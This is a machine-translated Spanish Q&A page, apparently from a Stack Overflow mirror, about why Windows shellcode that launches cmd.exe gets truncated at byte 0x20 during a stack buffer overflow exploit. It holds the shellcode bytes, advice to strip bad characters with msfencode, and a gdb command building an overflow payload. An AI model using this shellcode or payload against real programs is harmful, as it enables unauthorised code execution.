Pregunta

¿Por qué mi código shell se trunca después del código de operación \x20, cuando se copia por la cadena de apilar sobre un segundo programa vulnerables?

--cmd.exe--
 char shell[]=

"\xc7\x44\x24\x0c\x65\x78\x65\x20" ← only this line is put in stack, though hv a enough space 
"\xc7\x44\x24\x08\x63\x6d\x64\x2e"
"\x31\xc0"
"\x89\x44\x24\x04"
"\x8d\x44\x24\x08"
"\x89\x04\x24"
"\x8d\x05\xad\x23\x86\x7c"
"\xff\xd0";
--end shell--
¿Fue útil?

Solución

¿Está eliminando este código shell como un argumento de línea de comandos? En ese caso, echar un vistazo al código ASCII 0x20;)

Otros consejos

Mi teoría es que cosas como el presupuesto, el espacio, null, etc están siendo interpretados por las ventanas de shell en lugar de ser enviado a través. Se podía escapar de alguna manera, pero creo que es más fácil simplemente codificar el código shell. Así que trate de utilidad msfencode de Metasploit para evitar esos códigos de operación completo. Sé nulo (/ x00), espacio (/ x20) y la cita (/ x22) no se pueden pasar directamente, pero supongo que hay otros códigos de operación que no se pueden pasar también.

Esa es mi solución, pero ¿alguien sabe de otras cualesquiera que sean mejores?

Ponga dobles citas alrededor de todo el comando. Por ejemplo, ejecute:

"$shellcode" (gdb)r "$(python -c 'print "\x41" * 100 + "\x20\x83\x04\x08" + ....')"
Licenciado bajo: CC-BY-SA con atribución
No afiliado a StackOverflow
scroll top